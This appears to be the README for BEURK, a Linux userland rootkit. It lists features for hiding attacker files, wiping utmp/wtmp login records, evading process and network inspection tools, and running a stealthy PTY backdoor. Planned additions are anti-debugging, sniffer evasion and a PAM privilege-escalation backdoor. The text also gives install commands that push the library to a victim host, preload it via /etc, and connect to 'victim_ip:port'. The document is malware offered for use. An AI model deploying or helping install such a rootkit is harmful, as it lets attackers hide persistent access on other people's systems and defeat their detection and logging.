  • Hide attacker files and directories
  • Realtime log cleanup (on utmp/wtmp )
  • Anti process and login detection
  • Bypass unhide, lsof, ps, ldd, netstat analysis
  • Furtive PTY backdoor client

Upcoming features

  • ptrace(2) hooking for anti-debugging
  • libpcap hooking undermines local sniffers
  • PAM backdoor for _ local privilege escalation _


  • Compile

    git clone
    cd beurk
  • Install

    scp [email protected]:/lib/
    ssh [email protected] 'echo /lib/ >> /etc/'
  • Enjoy !

    ./ victim_ip:port # connect with furtive backdoor

The following packages are not required in order to build BEURK at the moment:

  • libpcap - to avoid local sniffing
  • libpam - for local PAM backdoor
  • libssl - for encrypted backdoor connection Example on debian:
    apt-get install libpcap-dev libpam-dev libssl-dev
